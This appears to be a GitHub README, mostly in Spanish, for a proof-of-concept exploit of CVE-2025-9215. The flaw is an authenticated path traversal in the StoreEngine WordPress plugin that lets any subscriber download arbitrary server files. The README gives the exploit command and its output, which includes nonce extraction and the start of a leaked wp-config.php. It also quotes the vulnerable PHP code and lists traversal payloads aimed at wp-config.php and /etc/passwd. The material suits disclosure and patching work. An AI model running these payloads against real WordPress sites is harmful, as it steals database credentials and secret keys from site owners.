d0n601/cve-2025-9215StoreEngine – Potente complemento de comercio electrónico para WordPress para pagos, membresías, afiliados, ventas y más <= 1.4.0 - Descarga arbitraria de archivos autenticada (Suscriptor+)
El plugin StoreEngine contiene una vulnerabilidad en su función de Importación/Exportación CSV que permite a cualquier usuario autenticado (suscriptor, autor, editor, etc.) descargar archivos arbitrarios del servidor, incluyendo archivos sensibles del sistema, archivos de configuración de WordPress y código fuente del plugin. La vulnerabilidad proviene del endpoint storeengine_csv/file_download que carece de una sanitización adecuada de rutas y solo depende de la verificación de nonce para la seguridad, mientras que el storeengine_nonce está expuesto a TODOS los usuarios del frontend a través del JavaScript del plugin. Nota: Esta vulnerabilidad requiere que el complemento CSV Import/Export esté habilitado por un administrador. Una vez habilitado, esta combinación permite que cualquier usuario autenticado extraiga el nonce de las páginas del frontend y lo use para descargar cualquier archivo en el servidor mediante ataques de path traversal, otorgando efectivamente a los usuarios suscriptor+ acceso a archivos sensibles del sistema y de la aplicación.
python3 ./CVE-2025-9215.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).
Downloading wp-config.php via path traversal...
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
...
...
...
Nota: Esta vulnerabilidad requiere que el complemento CSV Import/Export esté habilitado por un administrador. El endpoint de activación del complemento (storeengine/saved_addon_status) requiere la capacidad manage_options, lo que significa que solo los administradores pueden habilitar esta funcionalidad.
La acción AJAX storeengine_csv/file_download llama a la función file_download() en la línea 47 de /wp-content/plugins/storeengine/addons/csv/ajax/export.php, la cual carece de una sanitización adecuada de rutas y permite descargas arbitrarias de archivos:
public function file_download( array $payload ) {
if ( ! isset( $payload['filename'] ) ) {
wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
}
$filename = $payload['filename'];
$filepath = Helper::get_upload_dir() . '/csv/' . $filename; // <-- VULNERABLE A PATH TRAVERSAL!
// SIN VERIFICACIÓN DE CAPACIDAD - ¡CUALQUIER USUARIO PUEDE DESCARGAR CUALQUIER ARCHIVO!
// SIN SANITIZACIÓN DE RUTAS - ¡LA CONCATENACIÓN DIRECTA PERMITE ATAQUES ../!
if ( ! file_exists( $filepath ) ) {
wp_send_json_error( __( 'File not found.', 'storeengine' ) );
}
header( 'Content-Type: application/octet-stream' );
header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
readfile( $filepath ); // <-- ¡LEE Y ENVÍA CUALQUIER ARCHIVO!
exit;
}
La construcción vulnerable de la ruta permite un path traversal completo:
// Helper::get_upload_dir() devuelve:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';
// Así que la ruta completa se convierte en:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;
// Con path traversal, esto se convierte en:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'
El storeengine_nonce está expuesto a TODOS los usuarios del frontend a través del JavaScript del plugin. Esto ocurre en el método _get_script_data() en la línea 279 de /wp-content/plugins/storeengine/includes/assets.php:
public function _get_script_data(): array {
// ... otros datos ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Línea 279 - EXPUESTO A TODOS LOS USUARIOS
'rest_url' => esc_url_raw( rest_url() ),
// ... otros datos ...
];
}
Este nonce se localiza luego en el JavaScript del frontend a través del método frontend_scripts() en la línea 120:
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Llama a _get_script_data()
);
El nonce se verifica en el método AbstractRequestHandler::check_permission() en la línea 510 de /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php:
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
Esta combinación permite que cualquier usuario autenticado evite la protección CSRF y descargue cualquier archivo del servidor, incluyendo archivos de configuración sensibles, código fuente y potencialmente archivos del sistema.
/wp-admin/admin-ajax.php que llame a la acción storeengine_csv/file_download.filename=../../../../wp-config.php para descargar el archivo de configuración de WordPress.